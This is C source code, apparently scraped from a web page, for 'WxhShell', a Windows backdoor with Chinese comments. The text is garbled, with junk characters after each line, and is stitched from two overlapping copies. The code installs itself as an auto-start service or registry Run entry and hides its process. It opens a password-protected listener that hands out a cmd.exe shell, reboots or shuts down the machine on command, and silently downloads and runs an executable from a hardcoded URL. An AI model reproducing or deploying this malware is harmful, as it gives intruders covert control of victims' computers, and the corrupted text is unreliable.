    else { +EJwWDJ!%  
    closesocket(wsh); S,T?(lSl  
    ExitThread(0);  }* iag\  
    } mhnjY K9  
    break; PfX{n5yBW8  
    } hW*2Le!I  
  // 关机 DO<eBq\O  
  case 'd': { VM{`CJ2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H+ra w/"  
    if(Boot(SHUTDOWN)) {Z[yY6Nu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c>fLSf  
    else { F-}-/N]o q  
    closesocket(wsh); :LRR\v0HM  
    ExitThread(0); \RN,i]c-g/  
    } -_=0PW5{  
    break; MLg<YL  
    } pT]M]/y/:  
  // 获取shell +3.Ik,Z}zq  
  case 's': { w+Ve T@  
    CmdShell(wsh); kg[u@LgvoN  
    closesocket(wsh); Ke[doQ#c  
    ExitThread(0); .(o]d{ '-}  
    break; Li ,B,   
  }  f])?Gw  
  // 退出 1lyJ;6i6L  
  case 'x': { ^q6H =Dl  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OJE<2:K  
    CloseIt(wsh); :PtpIVAosg  
    break; QFoZv+|  
    } K%LDOVE8e  
  // 离开 H e]1 <tx  
  case 'q': { E/cA6*E[.<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 70_T;K6  
    closesocket(wsh); CCKg,v  
    WSACleanup(); G%)?jg@EA  
    exit(1); >Bp%~8f  
    break; xO'I*)  
        } ~45u a  
  } GZT}aMMSJ  
  } }C>Q  
1"46O Cu{  
  // 提示信息 dJ\6m!Mp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A9PXu\%y  
} q0WW^jwQ  
  } )gdv!  
=/=x"q+X  
  return; Ab7hW(/  
} / uI/8>p(  
oR}ir  
// shell模块句柄 ulFU(%&  
int CmdShell(SOCKET sock) o;Ijv\Em  
{ 4W8rb'B!Ay  
STARTUPINFO si; w?ssV  
ZeroMemory(&si,sizeof(si)); IV^LYu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dsDoPo0!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q3Umqvl)oe  
PROCESS_INFORMATION ProcessInfo; BOJ h-(>I  
char cmdline[]="cmd"; ~WuElns  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "@B! 5s0  
  return 0; <[C 9F1]Ya  
} Pb?H cg  
mm$D1=h{|  
// 自身启动模式 >`*iM  
int StartFromService(void) ))c;DJc  
{ O%9Cq}*  
typedef struct =f@O~nGm  
{ ?97MW a   
  DWORD ExitStatus; DGY#pnCu  
  DWORD PebBaseAddress; yb/< 7  
  DWORD AffinityMask; W9 y8dw.  
  DWORD BasePriority; Orh5d 7+S  
  ULONG UniqueProcessId; uZZ[`PA(  
  ULONG InheritedFromUniqueProcessId; QxnP+U~N  
}   PROCESS_BASIC_INFORMATION; 3DK^S2\zBm  
o!mf d}nG  
PROCNTQSIP NtQueryInformationProcess; Wy#`*h,  
->wY|7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z{#^lhHx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vVyO}Q`  
q" wi.&|  
  HANDLE             hProcess; !|_ CXm T|  
  PROCESS_BASIC_INFORMATION pbi; MIa].S#  
<0P`ct0,i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EC1q#;:  
  if(NULL == hInst ) return 0; ,2JqX>On>Y  
~m!>e])P?X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qq-&z6;$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ==x3|^0y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q^sMJ  
`Q26Dk  
  if (!NtQueryInformationProcess) return 0; N(Y9FD;H  
{%D "0*^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jbIWdHZ/US  
  if(!hProcess) return 0; Z.6`O1OY}?  
wdBytH6r.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?3SlvKI}H`  
#BS]wj2#  
  CloseHandle(hProcess); z+" :,#  
}#!o^B8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v ;MI*!E  
if(hProcess==NULL) return 0; _zh}%#6L  
UShn)3F  
HMODULE hMod; U]vNcQj  
char procName[255]; (/YC\x?  
unsigned long cbNeeded; iN<5[ztd  
6?*iIA$b  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]p'Qk  
3\=8tg p  
  CloseHandle(hProcess); HKOJkbVZ2^  
vlIdi@V  
if(strstr(procName,"services")) return 1; // 以服务启动 ^'EEry  
:^%s oEi  
  return 0; // 注册表启动 I-/PzL<W P  
} :#TJ-l:#  
,_NO[+5U  
// 主模块 }"m@~kg=  
int StartWxhshell(LPSTR lpCmdLine) 'IfM~9'D  
{ OD\x1,E)I  
  SOCKET wsl; CyG@  
BOOL val=TRUE; w**.8]A"N  
  int port=0; >qtB27jV  
  struct sockaddr_in door; FGwz5@|E  
DP^{T/G  
  if(wscfg.ws_autoins) Install(); )\mklM9Z  
5mSXf"R^  
port=atoi(lpCmdLine); wT*N{).  
tHoFnPd\|  
if(port<=0) port=wscfg.ws_port; 3tXtt@Yy  
v@>hjie  
  WSADATA data; P]Gsc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *\VQ%_wg  
o\|dm. "f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dj!J 4uD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YY7:WQS  
  door.sin_family = AF_INET; !&Q,]\j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2gt08\  
  door.sin_port = htons(port); U^pe/11)H  
1MB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PtgUo,P  
closesocket(wsl); SF_kap%JM  
return 1; ; UrwK  
} *3"C"4S  
Kjz,p^Y\  
  if(listen(wsl,2) == INVALID_SOCKET) { |:!0`p{R  
closesocket(wsl); D<xPx  
return 1; U7PA%  
} )%^oR5W  
  Wxhshell(wsl); -D!F|&$  
  WSACleanup(); I*lq0&  
boN)C?"^h  
return 0; uaU!V4-  
7ZZSAI  
} Y!POUMA }A  
1M 3U)U  
// 以NT服务方式启动 SF.,sCk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d=>5%$:v  
{ 0*g psS  
DWORD   status = 0; uN$X3Ls_  
  DWORD   specificError = 0xfffffff; TP^.]I O-  
%J|EDf ,M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8l='Hl  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kOtC(\]5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WO)K*c1F  
  serviceStatus.dwWin32ExitCode     = 0; gVG :z_6  
  serviceStatus.dwServiceSpecificExitCode = 0; "r"Y9KODm  
  serviceStatus.dwCheckPoint       = 0; ^kt"n( P5  
  serviceStatus.dwWaitHint       = 0; R o-Mex2  
.f jM9G#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a 3O_8GU  
  if (hServiceStatusHandle==0) return; ~7~nU>Vv  
sS-5W-&P{T  
status = GetLastError(); c&0IJ7fZG  
  if (status!=NO_ERROR) Pi8U}lG;  
{ a?JU(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x(S 064  
    serviceStatus.dwCheckPoint       = 0; tY[y?DJ  
    serviceStatus.dwWaitHint       = 0; wh*OD  
    serviceStatus.dwWin32ExitCode     = status; q1?2 U<  
    serviceStatus.dwServiceSpecificExitCode = specificError; x7NxHTL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RIJBHOa  
    return; m7RWuI,  
  } iz*aBXVA[  
?<nz2 piP,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |_w*:NCV5  
  serviceStatus.dwCheckPoint       = 0; wV-cpJ,}  
  serviceStatus.dwWaitHint       = 0; Z&.FJZUP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CiMy_`H  
} 3i s .c)  
cA/2,i  
// 处理NT服务事件,比如:启动、停止 o1n c.2/0J  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _puQX@i  
{ XD|&{/O  
switch(fdwControl) '6xn!dK  
{ =} vG|  
case SERVICE_CONTROL_STOP: ;<MaCtDt  
  serviceStatus.dwWin32ExitCode = 0; (O<lVz@8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G+%ZN  
  serviceStatus.dwCheckPoint   = 0; M.IV{gj  
  serviceStatus.dwWaitHint     = 0; Lqch~@E&%#  
  { . }=;]=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Jx{,x-I  
  } X,OxvmDm  
  return; _X]?  
case SERVICE_CONTROL_PAUSE: |/<iydP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .7kVC  
  break; #); 6+v  
case SERVICE_CONTROL_CONTINUE: ZDVaKDqZ_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .4^Paxz  
  break; >Y \4 v}-  
case SERVICE_CONTROL_INTERROGATE: st+Kz uK  
  break; BryMq !  
}; He]F~GXP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ntF(K/~Y  
} GB !3Z  
EAq >v t83  
// 标准应用程序主函数 1gt[_P2u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d@w I: 7  
{ Yb6\+}th  
qkBnEPWZy  
// 获取操作系统版本 qb9%Y/xy  
OsIsNt=GetOsVer(); WYh7Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~cZ1=,P  
19=Dd#Nf  
  // 从命令行安装 sV*Q8b*  
  if(strpbrk(lpCmdLine,"iI")) Install(); | 'z)RFqj  
I+<;D sp  
  // 下载执行文件 =k8A7P  
if(wscfg.ws_downexe) { 3AB5Qs<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~}M{[6!  
  WinExec(wscfg.ws_filenam,SW_HIDE); t)m4"p7  
} h5Z\9`f[  
ZU@V]+ww  
if(!OsIsNt) { |aVv Lz  
// 如果时win9x,隐藏进程并且设置为注册表启动 z[k2&=c  
HideProc(); DMf9wB  
StartWxhshell(lpCmdLine); P;y/`_jo  
} xp &I~YPH  
else ze ua`jQ  
  if(StartFromService()) y7w>/7q  
  // 以服务方式启动 ^{Vm,nAQqs  
  StartServiceCtrlDispatcher(DispatchTable); cbteNA!>  
else 2 43DdIG$  
  // 普通方式启动 "*T)L<G  
  StartWxhshell(lpCmdLine); [cH/Y2[  
{otvJ |'N  
return 0; '*-SvA\Cx  
}  I&v B\A  
~kHir]jc  
/;lk.-yU  
l9jcoVo .  
=========================================== tT v@8f  
3dM6zOK  
2MC\~"L<  
81n%2G  
c49#aN R  
 AH} nTm  
"  h43k   
Y9%yjh  
#include <stdio.h> cK258mY  
#include <string.h> MVj@0W33m  
#include <windows.h> k]JLk"K  
#include <winsock2.h> eGE%c1H9a  
#include <winsvc.h> hT_snb;ow  
#include <urlmon.h> BNByaC  
f>'7~69  
#pragma comment (lib, "Ws2_32.lib") =?2y <B  
#pragma comment (lib, "urlmon.lib") c]LH.  
e Jwr  
#define MAX_USER   100 // 最大客户端连接数 tb i;X=5  
#define BUF_SOCK   200 // sock buffer /qCYNwWH9  
#define KEY_BUFF   255 // 输入 buffer Po_9M4kU  
4H,DG`[Mo  
#define REBOOT     0   // 重启 z_H2 L"Z  
#define SHUTDOWN   1   // 关机 PU>;4l  
FFkG,XH  
#define DEF_PORT   5000 // 监听端口 ;klDt|%3j  
3}+/\:q*  
#define REG_LEN     16   // 注册表键长度 X}!_p& WI  
#define SVC_LEN     80   // NT服务名长度 `SG70/  
9@j~1G%^  
// 从dll定义API <V, ?!}V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l&rDa=m.J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [0}471  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :X!(^ a;]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b^xf ,`D  
~ U1iB  
// wxhshell配置信息 V.4j?\#%  
struct WSCFG { 5[3hw4  
  int ws_port;         // 监听端口 MPB6  
  char ws_passstr[REG_LEN]; // 口令 zZxP= c  
  int ws_autoins;       // 安装标记, 1=yes 0=no T'V(%\w  
  char ws_regname[REG_LEN]; // 注册表键名 ]`NbNr]K  
  char ws_svcname[REG_LEN]; // 服务名 *Z]| Z4Q/`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NqWHR~&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z:*U/_G  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 aw 7f$Fqk  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  ZBXGu f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lfA  BF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <,GHy/u\  
vBpg6 fX  
}; ~;+vF-]R  
MJb = +L  
// default Wxhshell configuration wx!*fy4hL  
struct WSCFG wscfg={DEF_PORT, V ;6M[ic}  
    "xuhuanlingzhe", ~L1O\V i  
    1, Z^|C~lp;n  
    "Wxhshell", bXfOZFzq)  
    "Wxhshell", "VeUOdNA>  
            "WxhShell Service", d5%*^nMpY  
    "Wrsky Windows CmdShell Service", rNAu@B  
    "Please Input Your Password: ", J'EK5=H  
  1, M;9+L&p=  
  "http://www.wrsky.com/wxhshell.exe", =6dKC_Q  
  "Wxhshell.exe" xsvs3y|  
    }; HB}gn2 .1&  
$7r wara  
// 消息定义模块 KH7]`CU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KCFwO'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mx[^LaR>v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o`U\Nhq  
char *msg_ws_ext="\n\rExit."; JA}'d7yEa  
char *msg_ws_end="\n\rQuit."; ? 1{S_  
char *msg_ws_boot="\n\rReboot..."; @Otc$hj  
char *msg_ws_poff="\n\rShutdown..."; oD7H6\_  
char *msg_ws_down="\n\rSave to "; oL@ou{iQ  
-7$'* V9$  
char *msg_ws_err="\n\rErr!"; {q)B@#p  
char *msg_ws_ok="\n\rOK!"; h=tu +pn  
16y$;kf8  
char ExeFile[MAX_PATH]; c-T ^ aR  
int nUser = 0; L,Nr,QC-  
HANDLE handles[MAX_USER]; z|<oxF.  
int OsIsNt; ]Yu+M3Fq  
V[M#qZS  
SERVICE_STATUS       serviceStatus; acZHb[w  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6'ZnyWb  
M;Rw]M  
// 函数声明 gB(W`:[  
int Install(void); 9O Q4\  
int Uninstall(void); Ib\G{$r  
int DownloadFile(char *sURL, SOCKET wsh); WK}+f4tdW[  
int Boot(int flag); jq]"6/xxb  
void HideProc(void); GN9_ZlC  
int GetOsVer(void); 9/M!S[N9  
int Wxhshell(SOCKET wsl); "k|`xn  
void TalkWithClient(void *cs); qtN29[x  
int CmdShell(SOCKET sock); I`TD*D  
int StartFromService(void); <`3(i\-X  
int StartWxhshell(LPSTR lpCmdLine); EAB+kY  
K)+l6Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?GarD3#A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #<PdZl R  
5Nb_K`Vp*  
// 数据结构和表定义 #}(Df&  
SERVICE_TABLE_ENTRY DispatchTable[] = |w2AB7EU  
{ }# x3IE6'  
{wscfg.ws_svcname, NTServiceMain}, 55LF  
{NULL, NULL} f B96Q  
}; mv.I.EL  
RG3G},Q   
// 自我安装 Q $0%~`t  
int Install(void) %m) h1/l  
{ 3x0wk9lND  
  char svExeFile[MAX_PATH]; yTt (fn:;  
  HKEY key; ->&VbR)  
  strcpy(svExeFile,ExeFile); ~k0)+D}  
O`jA-t  
// 如果是win9x系统,修改注册表设为自启动 S1`0d9ds#  
if(!OsIsNt) { `_A?a_[*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Pu*HZW3l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8VmN? "5v  
  RegCloseKey(key); 1!wEXH(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &i^NStqu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); yn[ZN-H~  
  RegCloseKey(key); U_;J.{n  
  return 0; 9sj W  
    } 8@KFln )[  
  }  KdJx#Lc  
} Qf>Pb$c$U  
else { mMAr8~ A=  
K!K"}%/_  
// 如果是NT以上系统,安装为系统服务 XHM"agrhSQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W+ '}O<  
if (schSCManager!=0) 7B\(r~f`t  
{ ]3,.g)U*m  
  SC_HANDLE schService = CreateService W7=_u+0d  
  ( \y`3LhY  
  schSCManager, YIQ]]q8R!L  
  wscfg.ws_svcname, -xu.=n@,  
  wscfg.ws_svcdisp, R(83E B~_  
  SERVICE_ALL_ACCESS, nvK7*-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <`_OpNxqW  
  SERVICE_AUTO_START, niEEm`"  
  SERVICE_ERROR_NORMAL, 7 eQoc2X2  
  svExeFile, j4xr1y3^  
  NULL, ' xZPIj+  
  NULL, K}<!{/fi)  
  NULL, %)Uvf`Xhh4  
  NULL, Z)i1?#  
  NULL ([CnYv  
  ); x<j"DS}S)D  
  if (schService!=0) ?U/Wio$@  
  { |id79qY7g  
  CloseServiceHandle(schService); XQJ^)d00h  
  CloseServiceHandle(schSCManager); u%1k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8C,utjy  
  strcat(svExeFile,wscfg.ws_svcname); if[o?6U4t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4_762Gu%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @Du}   
  RegCloseKey(key); 1|WpKaMoq  
  return 0; t-m9n*\j1  
    } kad;Wa#h  
  } Wj j2J8B  
  CloseServiceHandle(schSCManager); sp Q4m  
} z2Y_L8u2  
} "gvw0)  
h@,e`Z  
return 1; -V u/TT0  
} (d'j'U:C  
a5}44/%  
// 自我卸载 e9`uD|KAS|  
int Uninstall(void) wvmg)4,  
{ 3hXmYz(  
  HKEY key; b;J0'o^G|  
.)@tXH=}+  
if(!OsIsNt) { n*m"L|:ff  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2WPF{y%/  
  RegDeleteValue(key,wscfg.ws_regname); i$JG^6,O  
  RegCloseKey(key); a][pTC\rb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W-!Bl&jF[  
  RegDeleteValue(key,wscfg.ws_regname); %-ZR~*  
  RegCloseKey(key); mbX)'. +L  
  return 0; E/7vIg F  
  } s1Tl.p5  
} ,|. *,  
} ~nj bLUB  
else { FQ^<,  
l!;_lH8W$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F!)M<8jL&9  
if (schSCManager!=0) 14r Vb2^  
{ c2/R]%`)9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EID)o[<  
  if (schService!=0) <p^*Ydx  
  { nGv23R(?G  
  if(DeleteService(schService)!=0) { B)"#/@!bHH  
  CloseServiceHandle(schService); 6L8tz 8  
  CloseServiceHandle(schSCManager); mS:j$$]u  
  return 0; 5]H))}9>d  
  } l$-=Pqb  
  CloseServiceHandle(schService); xxoHH#a  
  } "y~muE:.  
  CloseServiceHandle(schSCManager); "$W|/vD+  
} :m* !?QGdL  
} Tr+h$M1_Ja  
S!jF:Uc  
return 1; 5 dfe@$  
} N[,VSO&  
:kb1}Wu  
// 从指定url下载文件 1 ;\]D9i  
int DownloadFile(char *sURL, SOCKET wsh) ']IT uP8  
{ KUp   
  HRESULT hr; ;]gsJ9FK<  
char seps[]= "/"; }fJ:wku  
char *token; rnn2u+OG   
char *file; {d 1N&  
char myURL[MAX_PATH]; QiTR-M2C!  
char myFILE[MAX_PATH]; FJa[ToZ4+  
U] V3DDN  
strcpy(myURL,sURL); @V* ju  
  token=strtok(myURL,seps); ~aJW"\{  
  while(token!=NULL) h v$uH7Fz  
  { 5u;Rr 1D  
    file=token; !,? <zg  
  token=strtok(NULL,seps); &RK H2R  
  } }uF[Ra  
?W[J[cb  
GetCurrentDirectory(MAX_PATH,myFILE); Qp kKVLi  
strcat(myFILE, "\\"); R`@8.]cpPy  
strcat(myFILE, file); t} *l?$`  
  send(wsh,myFILE,strlen(myFILE),0); q_<*esZ,  
send(wsh,"...",3,0); +36H%&!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MkG`w,  
  if(hr==S_OK) v8=?HUDd  
return 0; {{V ;:+62  
else $ \Q<K@{  
return 1; / h}PEu3y  
I.^X2  
} pqyWv;  
E-UB -"6  
// 系统电源模块 xm<v"><  
int Boot(int flag) l|08  
{ :y+B;qw  
  HANDLE hToken; ,|T*|2Gm  
  TOKEN_PRIVILEGES tkp; M82.khm~jM  
8hTR*e! +  
  if(OsIsNt) { <|{L[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); pN\)(:"8v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9W{,=.%MX$  
    tkp.PrivilegeCount = 1; K&=1Ap  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RLdl z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )KSisEL  
if(flag==REBOOT) { :/o C:z\h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Km6Ub?/7o  
  return 0; K0tV'Ml#"  
} i\t753<Ys  
else { ![*:.CW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8weSrm  
  return 0; 0JmFQ ^g(  
} R%>jJ[4\[  
  } ,>D ja59  
  else { 8[8|*8xqs  
if(flag==REBOOT) { @%6)^]m}r  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cC^W2\  
  return 0; 9@:BK;Fi  
} v6wRME;JA  
else { JB&G~7Q85  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y,MPGW_  
  return 0; M{C6rm|  
} Oo FgQEr@  
} >vUB%OLyP  
}5Yj  
return 1; # v{Y=$L  
} T"n{WmVQ  
-glugVq  
// win9x进程隐藏模块 Rw{$L~\  
void HideProc(void) IikG /8lP  
{ V?OuIg%=:  
:1:3Svb<Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8]S,u:E:N  
  if ( hKernel != NULL ) 3^{8_^I  
  { }1 $hxfb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); + c`AE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M2}np  
    FreeLibrary(hKernel); O`cdQu  
  } H5~1g6b@  
 }VF#\q  
return; 3pB}2]  
} 8EOh0gk7  
GxxDY]!  
// 获取操作系统版本 ~|h lE z  
int GetOsVer(void) ful#Px6m  
{ FC6xFg^  
  OSVERSIONINFO winfo; x Sv-;!y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <>%,}j 9  
  GetVersionEx(&winfo); k!T|)\nc+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q(,cYu  
  return 1; ^V[/(Lq  
  else aS el* L  
  return 0; aYqm0HCT  
} :pRF*^eU  
+#4]o }6G  
// 客户端句柄模块 tv0Ha A  
int Wxhshell(SOCKET wsl) T=WNBqKo]  
{ UH[<&v  
  SOCKET wsh; uKv&7p@|_)  
  struct sockaddr_in client; hi!`9k  
  DWORD myID; %dc3z"u  
u#1%P5r&X  
  while(nUser<MAX_USER) W;4Lkk$  
{ Ejv%,q/T(  
  int nSize=sizeof(client); _3/ec]1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Jm4#V~w  
  if(wsh==INVALID_SOCKET) return 1; 5k]XQxc6_  
[u`6^TycP  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); f-4.WW2FN  
if(handles[nUser]==0) +td<{4oq8  
  closesocket(wsh); F+m[&MKL  
else b(l0js  
  nUser++; C6|(ktt  
  } uVGa(4u}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [& ^RP,N~  
/be=u@KV  
  return 0; ,of]J|  
}  A^ViDP  
!siWEzw  
// 关闭 socket <?YA,"~  
void CloseIt(SOCKET wsh) 9t?L\  
{ Vo\H<_=G  
closesocket(wsh); >)NQH9'1  
nUser--; eX"''PA  
ExitThread(0); eJHp6)2  
} mk%b9Ko<F  
/;Yy@oc  
// 客户端请求句柄 `N}d}O8   
void TalkWithClient(void *cs) S/.^7R7{f  
{ v8m`jxII64  
=\Iu$2r`  
  SOCKET wsh=(SOCKET)cs; z<B CLP  
  char pwd[SVC_LEN]; h d2'AlB  
  char cmd[KEY_BUFF]; yzR=A%V8A  
char chr[1]; id?"PD"%  
int i,j; yS!(Ap  
8O7Yv<  
  while (nUser < MAX_USER) { =xL)$DTg)  
_7"5wB?|+  
if(wscfg.ws_passstr) { /aYpIMi9}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8.QSqW7t  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bAEg$A  
  //ZeroMemory(pwd,KEY_BUFF); X`:'i?(yj  
      i=0; <^8*<;PaG  
  while(i<SVC_LEN) { 4r&f%caU  
oh~: ,  
  // 设置超时 M&KyA  
  fd_set FdRead; +Rwx% =  
  struct timeval TimeOut; -:<lkq&/  
  FD_ZERO(&FdRead); [|RjHGf  
  FD_SET(wsh,&FdRead); )K;]y-Us[  
  TimeOut.tv_sec=8; kccWoU,  
  TimeOut.tv_usec=0; Y/fJQ6DY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); k_ Y~;P@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dz;HAyPj  
 \S4SI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mrM4RoO  
  pwd=chr[0]; Qhn;`9+L  
  if(chr[0]==0xd || chr[0]==0xa) { Zgamd1DJ[l  
  pwd=0; })Yv9],6  
  break; P`(Mk6gE  
  } 6B" egYv  
  i++; 0 )}$^TV  
    } X(*!2uS  
L(G92,.  
  // 如果是非法用户,关闭 socket ?mv:neh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IRW^ok.'b!  
} V5p0h~PK  
jVWK0Zba  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qf#)lyr<D6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); poT&-Ic[  
tg\|?  
while(1) { QJGKQ2^ n  
I :l01W;  
  ZeroMemory(cmd,KEY_BUFF); Kct@87z  
!wE}(0BTx  
      // 自动支持客户端 telnet标准   Z7a945Jd  
  j=0; BPv>$ m+.  
  while(j<KEY_BUFF) { cn`iX(ZgR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !%)]56(  
  cmd[j]=chr[0]; 2g-` ]Vqb  
  if(chr[0]==0xa || chr[0]==0xd) { +ulagE|7  
  cmd[j]=0; !*{q^IO9v&  
  break; =(o']ZaaA  
  } }m- "8\_D  
  j++; I G ~`i I  
    } nZk +  
;9a 6pz<  
  // 下载文件 `]i []|  
  if(strstr(cmd,"http://")) { %*}Y6tl'|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vB0RKk}d5  
